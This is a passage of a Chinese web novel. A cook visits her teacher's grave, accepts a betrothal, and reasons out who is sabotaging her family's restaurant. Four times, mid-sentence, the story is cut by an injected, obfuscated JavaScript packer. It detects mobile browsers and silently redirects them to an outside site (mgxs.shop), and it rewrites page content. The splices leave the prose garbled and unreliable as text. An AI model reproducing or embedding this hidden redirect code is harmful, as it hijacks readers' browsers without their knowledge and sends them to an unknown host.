乌婕问他：“今天早上有玫花饼，吃不吃？” 原四卿在上面说：“乌姊做什么，我吃什么。” 然后就听见公子轻快又从容的脚步声往下走，在木头楼梯上踏得“吱吱”响。 乌婕笑着回了头，后院里的齐元收了刀，身上有汗，面皮红热。 她一回头，看见乌婕站在门槛边，就大步往乌婕的方向走。 乌婕已给她备了水盆与布巾，正好叫齐元用上。 齐元一边擦汗，一边听乌婕夸她用刀的功夫好，身段练得扎实，劲头又足又有气势…… 齐元听了一会儿，开口说：“你想跟我学。” 这话用的不是问句。 乌婕当然也没有不承认的道理，站在她旁边问：“你是愿意教呢，还是不愿意教？” 好奸诈的人。 大家也不过是聚在一起吃了个晚饭，见面不足一个日夜，灶上热腾腾的早饭还没有吃上！ 她就盯上她的刀法，挟饭要拜师了。打的好响的算盘。 齐元沉默了一会儿，说：“我喝羊肉汤。” 乌婕一愣，下意识回应道：“好。” 齐元没立刻答应，乌婕也不觉得气馁。 她知道有真本事的人是不肯轻易授徒的，何况大家确实不够熟稔。若是之后相处久了，从齐元这里学个一两手防身，总是能办到的吧？ 乌婕可没忘记，风云楼的麻烦还没完。 她虽然天生有股蛮力，但天天举个铁锅去砸人，这也不是事啊。 齐元放下手里洗脸的布巾，浸在盆里，问了乌婕一声，准备端起来放到不妨碍人的地方。 净水多珍贵，即使混了她这粗人的汗也没太浊，之后也许能拿来泼个地拌个肥什么的。 乌婕给她让开位置，齐元抬起头，目视前方。 以她的朝向和目力，刚好看到原四卿从楼上下来，正从大堂的方向往这里来。 这个距离，原四卿听不见她们的谈话。 齐元端着水盆走过乌婕身边，嘴唇微动，“晚上的时候，你来找我学。” 原四卿晚上睡觉早，现在又不需要她在门外蹲守着预防不测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371155|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……那个时候，她就下工了。 所以，她没有拿着公子的工钱，在公子雇她的时辰里，去教公子的家君。 乌婕被这惊喜砸了一下，连忙应下了。 众人聚在大堂里，各分了些肉汤、菜羹，配着又圆又香的面饼，垫好了白日的肚子。 别的地方不知道，反正在孝丰镇，开酒楼、开饭馆的，都是早晚各用一餐。 中午要开门迎客人，只有客人能吃饭。 上从东家，下到伙计，忙起来是顾不上用东西的。 即使风云楼如今是闭门谢客的状态，乌婕和张掌柜、张怜还是照着这规矩，尽力多吃了些。 齐元消耗大，一人是按两人吃。齐大娘就没有那样的气魄。 原四卿和浣竹的饭量比张怜还不如，浣竹贪肉，好歹连喝了两碗汤，原四卿却只默默抱着个玫花饼，配着菜羹吃。 她们这几人中，唯一一个开口说话的还是齐大娘，语气还是那样爽朗又恳切：“张姐姐，昨晚咱们也说过了，既然是要长住，我们这几人又是习惯了一日三食的，耗费实在不低，你可不许再推拒了啊。” 乌婕吃着饼去看张掌柜，见张掌柜朝她微微点头，便没有再说什么。 等到收了餐具去清洗的时候，张掌柜这次就不让齐元进门，只说大家分着早晚干杂活，把人劝走了。 乌婕见后厨空了下来，这才问张掌柜：“怎么把银子收了？” 张掌柜答得轻描淡写：“原先以为她们是小住一阵，如今知道要久留了，那就收吧。” 她一边说，一边把银票从怀中拿出，放到乌婕手里，然后推她出去。 乌婕一是不想接，二是不想走，就稳稳地站着不动，说：“我总得留下来帮你洗碗碟吧。” 张掌柜仍推她：“用不着你。你拿好银子，看完老贺记着再买些食材回来，至于雇人做家什的事，咱们慢慢地理论。” 乌婕这才低头看了看那张五千两的银票。 ……这是张掌柜替她收下的、重建风云楼亟需的，钱。 乌婕吐出一口气来，慢慢地说：“咱们有什么能给人家抵的啊？把我卖过去呗？” 乌婕这话说的真心实意。 这钱不接，是原四卿那边承她们情，欠她们理；接下来之后，有些事就会变味了。 如今的风云楼里有什么值五千两的？ 乌婕左看右看，也只看见自己这一个跟人家公子指腹为婚的好娘子啊！ 张掌柜双手一用力，真把她推离了水槽：“没得不害臊！把你卖过去，你看是值不值！” 她不肯和乌婕说昨晚和齐大娘推拉了多久，乌婕实在问不出来，也就算了。 反正张姨总不会把自己卖了的。 乌婕揣着银票，包了几个玫花饼，又盛一碗在灶上温着的羊肉汤，一起放在食盒里，提着出了后厨。 越过门槛一看，原四卿正站在门口，头上戴着帷帽，身上穿的是一身低调的素衣。 像在等她。 那帷帽朝着乌婕所在的方向转过来，公子的声音从里面传出来：“乌姊要去哪儿？我载你去。” 果然是在等她。 乌婕想，我也不能光让张姨一个人付出啊，主要是我都不知道她付出了什么。 好娘子是该卖一卖了。 “好，多谢四卿了。” 乌婕一口答应下来。 8. 两心相许 贺常璋的坟在孝丰镇的东郊，和风云楼几乎是两个对角了。 这并不是张掌柜不尽心的缘故。 当初张掌柜和帮忙办丧的人们坐下来商量又商量，该把睡在棺材里的老贺往哪儿埋。 有人说南边的土好，有人说北边的水少，总之是各有各的吉利。 张掌柜见人们争个不休，又托当时唱经的法师来算位置，法师摇头说她不管这个。 最后还是隔壁做了一辈子浆水饭的孙大娘说，她们家老娘去的时候请了人算地方，说是东边好，于是把老娘埋在了东边。 等到她们孙家又有谁到了年纪，也跟着埋过去，陪着老娘。 “你们老贺不是本地人，身后又没个姑娘小郎——小乌娘子先不算！我寻思着，她一个人在下头指不定觉得寂寞，不如就到我娘那里去。我过几年也要去的，正好和贺厨子说说话。” 这个提议得到了大多数人的赞同，张掌柜最后也点了头。 于是贺常璋就和孙大娘的娘做起了邻居。 马车一路往东郊行去。 乌婕和持缰驱马的齐元并肩呆在外头，由乌婕给齐元指路；原四卿则在车厢里静静地坐着，也不知道他在干什么。 齐元本就话少，知道这一趟是送乌婕去祭拜恩师后，话就更少了。 马车最后停在了一处明显是官府给立的禁行碑外，乌婕抱着食盒跳下马车，稳稳落地。 齐元则一言不发地栓好马，绕到车厢后头，去扶原四卿。 乌婕看着头戴帷帽的素衣公子，欲言又止。 原四卿坚持说：“我已到这里了。” 乌婕叹了口气。 东郊也许确实是块风水宝地。 三人从禁行碑出发，往前走了一小段，便看见了一排又一排大同小异的坟包。 乌婕没能亲眼见到贺常璋下葬，但是孙大娘的老娘埋在哪儿，她是知道的。 乌婕很熟稔地带着原四卿与齐元绕了两圈，找到了某个大坟包边上。 贺常璋睡在旁边那座新坟中。 乌婕放下食盒，按着孝女祭拜的规格，给贺常璋问好、清草、摆香。 她一边做事，一边随口和贺常璋叙着闲话，一会儿是在唐家的见闻，一会儿又是风云楼最近的境况，一会儿则是沉默。 齐元不大适应此处的氛围，稍稍走远了一点，只保证乌婕和原四卿两人待在自己的视线之内。 原四卿则站在乌婕后头，专注地凝望着她忙碌的背影。 他实在太安静，乌婕直到打开食盒、准备给贺常璋上祭品的时候，才把他这个人想起来。 她回头看了原四卿一眼，这一眼中其实不带有什么情绪；但是原四卿仿佛从她空无一物的眼睛里看出了什么，竟抬腿走了过来，还顺手摘掉了帷帽。 乌婕把汤和饼都放在贺常璋坟前，然后才从蹲姿改成站姿。 原四卿恰好在此时站到了她身侧，身位比她错了一步。 乌婕没再回头看他，而是对贺常璋说：“贺师，贺姨，老贺！我回来了。” “我回来晚了。” …… 齐元站在原地发呆，没用心算过去了多久。 反正应该是很久很久之后，那两个站在坟前的人终于挪动了步子，往她这边走过来。 齐元迎上去，原本是准备扶原四卿的——这附近的土路不好走——但她眼神往下一瞥，整个人跟着就是一怔。 她看见，乌婕的一只手臂正垫在原四卿的手腕下，另一只手臂则几乎贴上了他的肩头。 齐元只是心思少，不是傻。 她丝滑地转过了身，带头往马车的方向走去，权当自己什么也没看见。 原四卿戴着帷帽，由乌婕扶着，稳稳当当地走出了这片坟地。 再次经过那块禁行碑时，乌婕听见原四卿轻声对她说：“能有你这样的徒儿，贺大厨一定是个很好的人。” 乌婕轻轻点了点头，没说话。 贺常璋确实是个很好的人。 所以，在她生前惹了她不痛快的，全都是……该死的恶人。 到了回程的时候，齐元就不需要乌婕指路了。 原四卿主动邀请乌婕到车厢里坐，而乌婕也一改先前面对原四卿的礼让与疏远，登上了马车。 年轻未婚的一女一男，同车而处，无疑是很亲近的举动。 齐元双手握着马疆，看似是在专心驱马，其实心里在想： 所以，这就是成了吧？ 乌婕和原四卿之间的婚约，是由贺常璋当年和怀着原四卿的齐夫人定下的。 如今乌婕肯带着原四卿去拜贺常璋，莫不是请老师帮忙掌眼的意思？ 此时，马车里的氛围却并不如齐元所料想的那般……温存。 乌婕启口便说：“原公子，方才我在贺师坟前说的话，你也听见了。” 原四卿低低地“嗯”了一声。 她又开始叫他是“原公子”了。 乌婕郑重道：“贺师当年与尊父相识，必是十分有幸的，我也承蒙贺师和尊父的恩义，和公子有了这一桩缘分。如今……先人皆已不在，张姨也任我自专，我就更没必要瞒着公子了。” 原四卿好像是笑了一下，“无妨，乌姊与我直说就是。我父已去，至于我母，如今也是任我自专。” 乌婕一点头，干脆地说：“公子爽快！” 她自己却更加爽快地从座上往下一滑，单膝跪在车厢内。 “！！！” 原四卿震惊得头脑都空白了一瞬。 反应过来后，他立刻站了起来，就要跟她对着跪下，却被乌婕伸出的双手牢牢擒住了膝盖。 “原公子，四卿，你听我说。” 乌婕从下往上，将原四卿整个人从脚到头扫视了一遍。 原四卿沐浴在她灼热而认真的视线下，浑身发麻。 他在心中突然对阻止他跪下的乌婕生出一种感激来。 若是没有她那双握住他膝弯的手，他现在大约要腿软得站不住，在她面前大大丢一回脸了。 “四卿是受了父命，奔袭千里，来嫁我这一个俗人。” “而我，不知师命，不知婚约。我与你，素昧平生。” 乌婕盯住了他的眼睛：“我也学齐大娘说句不妥当的话，我知道四卿这样做是没了出路，但我怜惜你，不想叫你才十六岁就嫁了一个身无长物的厨子。你有陪嫁，齐元也是个有真本事的好人，我又愿认你做个弟弟，在你成婚后替你撑腰。我这人旁的本事没有，替你打上门去，帮你揍一顿不成器的家君，两顿，三顿，多少顿都行的。” “我在贺师面前也是这样说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371156|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，四卿不必怕我食言。” 原四卿慢慢地听着，忽而伸出双手，紧紧抱住了乌婕的肩颈。 他的声音有点颤抖，但是很坚定地回应道：“乌姊，我知道，我都知道。可是，如果没有贺……贺师出手相救，我甚至不能出生，我会死在父亲腹中。” “父亲把我许给你，我生下来就该是你的。” “所以我来找你。所以方才我在贺师面前，就这么说。” 乌婕跟睡着的贺常璋介绍他是“故人之子”、人好又贴心的弟弟，而原四卿接了一句，“我就是同乌姊指腹为婚的那个。” 乌婕没在贺常璋面前驳他，原四卿很高兴。 他拽着乌婕的衣服，一边辛苦地抱着她，一边又想把她拉起来：“我知道乌姊不喜欢我，乌姊此前都不知道我，怎么会喜欢我？我们没有长久地相处过，即使我说我喜欢你，想来你也是不相信的。” 乌婕确实不相信。 所以她沉默地任由他抱着，等着这位从初见开始就表现得十分“恨嫁”的原公子，能多吐一点真心话出来。 贺常璋啊贺常璋，你当年救下的，究竟是个什么人？ 但原四卿并没有剖白什么，他只是认真地问乌婕：“乌姊，你日后娶夫人之后，会打他吗？” 乌婕：“不会。” 原四卿又问：“那你知道一个男儿独自带着护卫跑出家门，甚至不曾请示过亲母，你会嫌弃他不安于室，糟污了自己的名声吗？” 乌婕有点明白他的逻辑了：“四卿，你不要妄自菲薄——” 原四卿说：“我没有啊。” 他将乌婕抱得更紧了一点，“可是女人和男人是不一样的，女人和女人也是不一样的。乌姊，从我们见面开始，你一句也没有提过这件事，你没想过这件事。你不觉得我出格，你一直，对我很好很好——” 原四卿在她耳边说：“你觉得自己是个俗人，可我又高雅到哪里去？我做梦都想有一个你这样的家君。乌姊，你是有大前途的人，只是你自己不知道。我现在就要把你抓牢了，我们是在贺师面前过了明路的！我、我还有陪嫁，风云楼现在需要钱对不对？我把它们都给你，我也会对你很好很好的！” 他的语气几乎是在哀求了：“乌姊，你给我一个机会好不好？我都已经，抱着你了……” 这样近的距离，这样亲密的姿势，如果被外人撞见，而乌婕又不要他，原四卿简直不敢想自己会遭遇什么。 乌婕默默将双手抽离他的膝弯，强行坦荡道：“没事的，不会有人看见。” 原四卿：“……” 即使他已经是男子中极出色的伶牙俐齿，此时也不知道该怎么接这句话！ 乌婕倒也没有不要脸到那种地步，她轻轻握住了原四卿放在自己肩上的手，将他扶回到座位上，站起身来。 “这种事不该由男子说的，四卿。” 原四卿的眼睛亮了。 乌婕向他许诺：“我这一生，绝不负你，四卿。” 风云楼必要由她重建，而原四卿将为她带来风云楼目前最紧缺的助力。 他想要一个对他好的家君，而乌婕需要一个陪嫁丰厚的夫人，这很公平。 现在的乌婕仍然不懂情爱与喜欢，但她懂得责任和信义。 她说出口的话，就一定会做到。 9. 疑点重提 乌婕和原四卿互相将话说开了，前人立下的婚约就此落定。 但两人的婚期却并未立刻提上日程。 张掌柜是顾忌着风云楼如今的处境不好，若是大肆操办婚事，恐怕会招惹来不必要的眼光。 齐大娘则说原四卿到底是体虚的病身，须得安稳调养一番。幸好他现在年纪还不算大，即使这么将养几年，也并不会拖延了什么。 唯一的问题是，乌婕本人愿意吗？ 本朝并未明文规定徒须为师守孝，即使乌婕本人愿意循着母女的例子去做，也不过是头三月不可着华裳，作欢宴，半年内不得行嫁娶，一年内必须行两次大祭而已。 二十多岁的女子最是精力旺盛，待到一年的师丧过去，她身边放着一个年轻可人的未婚夫，却只能看不能吃，如何捱得住？ 几人同在一张桌上商量，原四卿就坐在乌婕身旁。 大人们讲话，原四卿不插口，只是悄悄伸出手去，握住了乌婕的衣袖。 乌婕原本还有些不习惯，但一想到身边的人是自己认定的未婚夫，她便改了主意，生疏但坚定地，反手回握住了他的指尖。 “一切都依齐姨的意思。”乌婕面对齐大娘时实在叫不出那声“齐妈妈”，只好以“齐姨”称呼，“我本来也不打算在三年内成家，还是以立业为先。” 原四卿跟着说：“我都听乌姊的。” 众人在延缓婚期上达成了一致，这才散了。 原四卿要由齐大娘领着，去熟悉一番孝丰镇的风土人情。 名义上是游览，实则是有意避讳，给女方这边留些自由商谈的空余。 但她们毕竟是外来人，在孝丰是人生地不熟，非得有个向导不可。 张掌柜脱不开身，张怜又年纪小不顶事，乌婕便让张怜跑腿去了隔壁，请孙家那个与乌婕玩得好的三娘子孙诀过来，托她来为齐大娘等人领路。 孙无诀很快就跟着张怜过来了，一看见乌婕，当即露出些嗔色。 “若不是小怜弟弟过来喊，我还不知你回来了呢！可见你出去这大半年，是忘了咱们这些好朋友的！” 乌婕忙给她赔罪，直说是自己刚回来，把事情忙忘了。 她这话并没有说错：人在路上，收到老师的丧信；刚一回家，便见混混逼债打人。 前脚把人吓走了想喘口气吧，原四卿后脚便到，当真是一分一秒也不拖延。 乌婕忙得团团转，属实是顾不上招呼阔别已久的朋友们了。 孙无诀听了，先把乌婕拉去一边，凝重地问她：“你家那团乱子，可梳出来什么线头了？” 乌婕自然摇头。 先前张掌柜已向她详细说明过，那群混混打手并不是头一波打上门来的，而是时不时冒出来，胡搅蛮缠地滋扰，扰客人、打伙计，什么泼皮事都做。 真要是叫来了官府的人，她们也会怕，也会跑。 且那群人全都是些外地的生面孔，相互之间似乎还有轮换，分明是受雇于人，这就更让人摸不出路数。 官差见乱子不大，人跑得快，也就是事情小，犯人又难抓。 纵然抓到了人，也不过是威吓一番，关都关不久的。 风云楼如今失势，给不了什么好处，甚至包圆不了官差出动的耗费。次数一多，官府自然就不想多管了。 张掌柜倒是据此猜测，她们背后的主家大约是有些根基，但钱财没那么多，势力也不够大。 买不通官府，只买得起混混；买了混混呢，又不能天天买，只能断断续续地派人来捣乱。 恐怕对方心里打的就是让风云楼不堪其扰，闭门卖业的主意。 如果这幕后的凶手是什么勾结官府为祸一方权势滔天的，张掌柜和贺常璋也不是孝丰镇土生土长的人，明知道斗不过，说不定还真会选择避其锋芒。 但是对方又是设毒计又是派泼皮，明摆着要用软刀子割人的盘外招，张掌柜如何忍得下这口气？ “从前也不知道张姨竟有这样倔！”孙无诀这话倒不是抱怨，而是担忧更多，“都是多大岁数的人了，非得独个和她们掰扯？大家邻里亲近，怎么就是不肯叫我们帮把手？我就不信，咱们这几家的人手都组织起来，轮班在你家守着，看那群混账哪个敢再来？” 乌婕谢了孙无诀的仗义，但作为当事人，她还是选择跟着张掌柜说话：“如今是人在暗处我在明，你们的人品我是相信的，但大家也都有生意要做，人人来风云楼外站桩子，自己家的活计怎么办？再者，咱们这边人多势众了，对方一见就缩，你们也不能日日来守着。总归这件事是风云楼的事，最后非得我们来解决不可。” 孙无诀瞪着她说：“你这话讲的和你张姨是一模一样！” 乌婕接话道：“你难道不知道我？我既然回来了，总不会叫张姨单打独斗，这事儿我是一定要解决的。中间你若是能帮上手，我会不招呼你？” 孙无诀这才和缓一些，只说：“你且记着你的话！” 然后她才问乌婕：“你今天招呼我来是做什么？莫不是准备再开门了？以你的本事，自然又是、是个姓乌的‘贺大厨’，不愁撑不起来你家这风云楼。” 乌婕笑道：“哪有那么快，你看我家这里多空荡，新的招牌都还没赶着做，就算要开门，怎么也得筹备一阵的。我今天托你的是个闲事。” 孙无诀跟着乌婕的视线看向风云楼的侧门，正好瞧见一个戴着帷帽的年轻公子站在马车前，跟一个明显上了年纪的娘子在说话，不由问道：“是张姨还是贺姨家的亲戚？” 乌婕咳了一声，难得有点不好意思：“都不是。算是……我的亲戚吧。” “你？”孙无诀吃了一惊，“那我，恭喜恭喜你？” 乌婕是贺常璋捡回来养着的孤儿，身世成谜，她们这些在镇上住惯了的都知道。 如今她要是找到了家人，孙无诀作为朋友，当然只会为她高兴。 “不是你想的那种亲戚。”乌婕解释道，“他……是我的未婚夫，姓原。” 孙无诀惊呆了，连连发问：“从前怎么没听你提起过？你在西边认识的？他也不姓唐啊？” 乌婕对朋友也不隐瞒：“我们是指腹为婚，贺师亲自替我订下的，只是不曾宣扬过。我已认定他了。” 孙无诀看起来还是有点恍惚。 但等乌婕告诉她，这次是拜托她作为向导，领着这位刚来孝丰的未婚夫游览一番，又往她兜里塞银子的时候—— 孙无诀反应过来，很生气地推拒了。 “你把我当什么了？我带你的、你的那谁去逛逛咱们这儿，还要收你的钱？” 乌婕眨眨眼，立刻就把银两收了回来，“其实我就跟你客气一下。回头有空的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371157|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候过来一趟哈，有东西单独给你。” 孙无诀回忆道：“你走之前跟我说，唐家附近有片奇石滩市……” 乌婕“嗯”了一声，表示就是孙无诀想的那个意思，“我给你拣了一兜最好的。” 那边有种生在盐河滩的石头，名叫云奇石，花纹奇特，很适合把玩装饰，正是孙无诀的心头好。 云奇石在当地的滩市里是自产自销，品相出色的不知凡几，并不值太多钱，但放在相隔千里的孝丰镇，那可就不一样了。 孙无诀看重的也不是云奇石的价值，而是乌婕这份心：“好，我记着了，回头就来找你拿。” 她跟着乌婕去到齐大娘那边，互相认识了一下。 孙无诀生得人高马大，双目炯炯有神，一看就是个做事爽利又可靠的沉稳人。 齐大娘对这名健壮的后生连连称赞，原四卿倒是有些怕生人的样子。 乌婕不得不过去牵了他的手，小声地替他开解紧张，然后亲自把他送上马车。 齐大娘笑而不语，有意不打扰这对未婚的小妻夫，带着浣竹从另一个方向登上了马车的车厢。 坐在马车最前、准备给齐元指路的孙无诀回过头来，给乌婕比了一个意义为“你真让我开了眼”的手势。 乌婕回以“好好干活”的手势。 张掌柜和乌婕去到后院，围着贺常璋生前常坐的那张椅子，仿佛她还在一旁听着似的，认认真真地讲起了正事。 ——重开风云楼。 这件事难吗？ 不容易，但又没那么困难。 有了原四卿的银票支援，招牌可以重新打一个更大的，家什可以买些更好的，食材之类的更是不愁，乌婕完全可以把事情办得更从容些，哪怕一时不顺，也有试错的成本。 难的是人。 “张姨，那个被外人买通的、往咱们后厨里头掺腐鱼肉的王厨子，后来查的怎么样了？” 在乌婕看来，那些摸不着根底、跑得又快的混混只是探路的小卒子，真要去找线索，还得往更有分量的人身上去想。 张掌柜不会放过如此显眼的疑点，当初也是下力气查过的，此时便回答道：“那个王厨子被拿下牢里，因着是故意投毒害人，当庭就罚了她八十板子。” “只是她用的是腐肉，并不是什么狠辣的毒药，反而钻了些空子，没吃着重罚。等她从牢里出来，当时是家人给抬回了家；我雇人盯了她家两天，果然趁夜驶出一辆马车，找人中途截了，故意把人逼下来，里头是王彩瑚的夫人并她那独女儿，出门探亲去的。” 乌婕默然。 张掌柜冷笑：“王彩瑚现在还在自个儿家里头养她那棒疮呢，是她亲老父忙前忙后地照顾。凡有人在她家门外骂的，她就又哭又喊，说是改悔了，人又没跑，若是再有罪，任由官府拿去；官府哪有空理会她？” 一个人能无赖成这副样子，旁人又能拿她怎么样？ 乌婕问：“张姨可曾看准了，王彩瑚的家小当真是回去探亲的？” 她没问张掌柜有没有拦下那两人，因为不必问。 人家夫人和独女出门是探亲的，不过是趁夜走得急了，却不犯法。 这两人是干干净净的没犯事，王彩瑚的恶事还干涉不到她们身上。 张掌柜能拿什么理由去拦她们？最多也是盯一盯罢了。 10. 锁定方向 “我瞧着吧……不像。” 张掌柜明白乌婕真正想问的是什么：“那王彩瑚其实娶过两房夫人，前一房久久不孕，王彩瑚便弃了他，又花大钱娶了现在这一个。听说是从苻阳城外聘来，家传的能生女儿。” 苻阳城和原四卿出身的百江城是同一等级的“州城”建制，而孝丰镇上头是没有“州城”一说的，只有个“县城”，就是湖仁县。 不过，湖仁的当地人为了标榜自家，一般不会把湖仁叫做湖仁县，而是湖仁城，仿佛这样就能和人家的州城对标一般。 而苻阳城下面足足有三个县城，离湖仁最近的那个，叫做壶阳。 壶阳人更有趣，她们甚至不会自称什么壶阳城，直接说自己是“苻阳城人”。 张掌柜说王彩瑚娶了一个“苻阳城外”的，其实就是说对方来自壶阳县。 乌婕敏锐地追问：“但她们真的是去了苻阳城，而不是壶阳，是不是？” 张掌柜颔首。 这就有意思了，也更麻烦了。 王彩瑚明显是收钱办事，吃了板子又坐牢，好不容易出来之后，她的家小却趁夜逃走了，独独留下她这个罪魁。 如此作态，大约可分为两种情况： 第一，王彩瑚心知自己未来必遭受报复，于是命令家小去投奔雇佣她的主家，而她本人则在家中吸引视线，从而保全家小，也是期盼能搬来那个主家的救兵。 第二，王彩瑚心知自己未来必遭受报复，但又不想牵连家小，就命令她们赶紧跑，而且还不能跑回离湖仁太近的壶阳，而是去到人口更多、管制更严的苻阳城。 至于王彩瑚出事之后脑子坏了，非得让家小不年不节地回去探亲，而她的家小因为中途马车被拦下过，心生惊惶，所以选择去壶阳人一直向往的苻阳城落脚…… 乌婕暂时不考虑这种莫名其妙的可能。 私心里，乌婕其实更倾向于第二种情况。 王彩瑚既然是个能收钱作恶的，那她根本就不可能对驱使她的主家抱有幻想。 若是主家原本鞭长莫及，没法打扫她这个尾巴，结果王彩瑚主动把自己的家小送上门去，主家岂能不笑纳了？ 所以，幕后真凶不会在苻阳城。 因为在王彩瑚眼里，苻阳城代表着远离危险的“安全”。 当然，安全的地方肯定还有很多。 根据先前那些混混的行事就可以推断，风云楼的麻烦应该是某个兵不血刃、意图夺业的同行造成的，而且这个同行大概率不在孝丰镇、却打算借着风云楼入驻孝丰镇。 孝丰镇附近也就那么几个城，最大的是苻阳，最近的是湖仁，还能有什么？ 既然要跑了，何不干脆跑出个几千里，把这一团迷雾全抛下？ 但是王彩瑚总要替自己考虑一番。 她自己身上有伤，行动不便，不可远行。 如果她让家小跑得太远，跑得连那个雇佣她的主家都寻不着踪迹了，那么接下来需要被解决的，当然就只剩下王彩瑚自己了。 狗急跳墙也好，斩草除根也罢，王彩瑚是绝对逃不过的。 为了活命，王彩瑚得想办法在乌婕这边和她的主家那边取得一个平衡。 她让家小跑去苻阳城，一方面是牵引张掌柜她们的视线，一方面也是给主家示意：我没跑，我家小在哪儿你也知道，咱们不能鱼死网破。 若是对方把王彩瑚逼急了，也许她的家小就会找上苻阳城的衙门，将这件事捅出去。 乌婕心里突然冒出了一个挺缺德的主意： 为什么不暗中雇一些人，假装是要“灭口”王彩瑚的主家，把她吓个半死又逼到极致，用王彩瑚的手，把真凶大白于天下？ 如此一来，她们这边既能解恨，又能推进调查，真可谓一石二鸟啊。 唉，就是有点小人做派，张姨未必会同意。 乌婕一边想，一边把自己的推测和主意慢慢同张掌柜说了。 张掌柜一巴掌拍在她们身边那张空空的椅子上：“行，就照你说的办。” 乌婕先是吓了一跳，然后应下：“好好，这事张姨你别忙，我去安排人来办。” 张掌柜不仅支持，她还帮着出谋划策：“万一那王彩瑚骨头硬呢？你也别光雇人去打杀东西，也让人夜里在她家墙根下面乱叫，吓不死她，也能叫她睡不好觉！” 乌婕此前从未在张掌柜口中听到过如此精妙的邪恶建议，忍不住问道：“张姨，这法子你是怎么想出来的？” 张掌柜：“……总来咱们家的那群混混们有人这么干，我跟小怜端了烫水，站在二楼往下浇，好像是浇着了一两个。那之后她们有足足五天没敢再来。” 乌婕叹为观止。 张掌柜甚至着重向乌婕强调了可行性：“王彩瑚家是平房，她腿脚又不利索，没法这么干。咱们这边只要跑得快些，她就没奈何。” 这也是从混混们的行事中取得的灵感。 乌婕受教点头。 不过，这个主意里泄愤的程度更多，若是王彩瑚死咬着不松口，乌婕也拿她没办法。 所以只用一个法子是不行的，还得多管齐下。 乌婕对张掌柜道：“张姨，我想王彩瑚叫她夫人女儿往苻阳城跑，未必不是打着把你们的精力耗在那里的主意。苻阳城里头得有多少酒楼，多少食肆？谁也排查不干净，咱们自然找不到一点线索。” 张掌柜之前确实往这方面推进了一点，深知其中艰难，此时也颇为认同乌婕的看法。 “你觉得该往哪个方向查好？” 张掌柜也不是想压榨小辈的头脑，只是乌婕这一去半年，正好把这场风波全部错过。 所谓旁观者清，张掌柜身在局中，颇受其扰，已然不能维持冷静；而乌婕则不一样。 她打小就被贺常璋带上了灶台，会走的时候就已经会拿菜刀，做事从不急躁，行事极有章法。 张掌柜看着凝眉思索的乌婕，忽然生出恍惚。 半年前跟着唐家娘子离开的乌婕，是不是要比现在看着更青涩些？ 不，那时候乌婕已经二十岁，不会再长了。 她早就是一个值得信任的成人了。 “张姨，依我的想法，咱们还是往湖仁的方向去查。”乌婕慎重地给出了结论。 诚如张掌柜先前所说，风云楼生意最好的时候也排不进县城去，本来不该招惹贵人忌惮。 但那是因为湖仁的酒楼排行本就不带她们这些镇上的玩。 人家有一个名厨汇聚的“佳膳会”，常会组织些“评食大会”“百菜成宴”之类的活动，声势之浩大，远不是小小风云楼能够企及的。 乌婕此时想到湖仁，也是因为这个佳膳会。 且说幕后黑手向风云楼发起的第一次攻击，是借王彩瑚之手闹出的腐鱼争端。 张掌柜虽然没能把危险掐灭在源头中，但争端爆发时，她的反应迅速、处置得当，且当场查出了真凶，本来能将此事的负面影响降到最低，根本不至于闹到歇业的地步。 然而对方立刻拿出了后手，借着李厨当众请辞的由头，令被收买的厨子们紧随其后，将事情闹大，硬生生给风云楼泼上了一盆“排挤新厨”“分薪不平”的污水。 这盆污水原本也是可以洗掉的：只需要招来一批新的厨师，言明待遇、写入官契，再堂堂正正地宣扬出去，清者自清。 张掌柜原本一定也打算这么做，但她竟无论如何也招不到新的厨子。 这才是风云楼遭受的最狠厉的一击。 贺常璋年纪已长，精力不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371158|199910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 济，无论如何也不能一人撑起风云楼了。 酒楼没有厨子，做不了菜，纵然老客想要支持你，又能如何支持？ 客人少了，伙计眼见看不到希望，自然会跑，反而在不经意间加深了风云楼“苛待雇工”的负面印象。 这样的情况就很不寻常。 